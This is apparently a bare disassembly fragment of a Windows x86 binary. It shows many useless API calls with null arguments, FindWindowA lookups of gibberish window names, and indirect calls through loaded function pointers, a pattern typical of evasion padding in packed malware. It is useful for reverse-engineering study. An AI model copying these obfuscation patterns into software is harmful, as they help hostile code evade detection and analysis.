mov dword [esp], ebx
call fcn.004015a8
mov ecx, dword [0x409234]
test ecx, ecx
jne 0x405cb4
mov dword [esp], 0
call sub.KERNEL32.dll_DeleteAtom
push eax
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.GDI32.dll_SetStretchBltMode
sub esp, 8
mov dword [esp + 4], 0x3b7
mov dword [esp], 0
call sub.USER32.dll_GetDlgItem
sub esp, 8
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.GDI32.dll_SetStretchBltMode
sub esp, 8
mov dword [esp], 0
call sub.KERNEL32.dll_DeleteAtom
push eax
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.GDI32.dll_SetStretchBltMode
sub esp, 8
mov dword [esp], 0
call sub.KERNEL32.dll_DeleteAtom
push eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.GDI32.dll_CreateDCA
sub esp, 0x10
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x2ad
mov dword [esp], 0
call sub.USER32.dll_PostMessageA
sub esp, 0x10
mov edi, str.itself
mov ecx, 7
mov esi, dword [0x409230]
repe cmpsb byte [esi], byte es:[edi]
je 0x405cbe
mov dword [esp], 0x409020
call fcn.0040273c
mov ebx, dword [0x409450]
call dword [0x40944c]
mov dword [esp + 4], 0
mov dword [esp], eax
call ebx
sub esp, 8
xor eax, eax
lea esp, [ebp - 0x10]
pop ecx
pop ebx
pop esi
pop edi
pop ebp
lea esp, [ecx - 4]
ret
call fcn.004013e8
jmp 0x405b99
mov dword [esp], 0
call sub.KERNEL32.dll_DeleteAtom
push ebx
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.GDI32.dll_TranslateCharsetInfo
sub esp, 0xc
mov dword [esp + 4], str.A__EIP__P
mov dword [esp], str.___Ukl__Ax_i____O_mnc_
call sub.USER32.dll_FindWindowA
sub esp, 8
mov dword [esp], 0
call sub.GDI32.dll_CreatePatternBrush
push esi
mov dword [esp], 0
call sub.GDI32.dll_CreatePatternBrush
push edi
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.GDI32.dll_TranslateCharsetInfo
sub esp, 0xc
mov dword [esp + 4], 0
mov dword [esp], 0
call sub.GDI32.dll_SetStretchBltMode
sub esp, 8
mov dword [esp + 4], str.tP_AgP___t
mov dword [esp], str._agua__Ao_aI_____lNz_f_FD
call sub.USER32.dll_FindWindowA
sub esp, 8
mov dword [esp], 0
call sub.GDI32.dll_CreatePatternBrush
push eax
mov dword [esp + 4], str.xO_f__m__e__j__mykEtF_
mov dword [esp], str.zh_____G___p__f_U____k
call sub.USER32.dll_FindWindowA
sub esp, 8
mov dword [esp], 0x409240
call fcn.0040273c
jmp 0x405c8a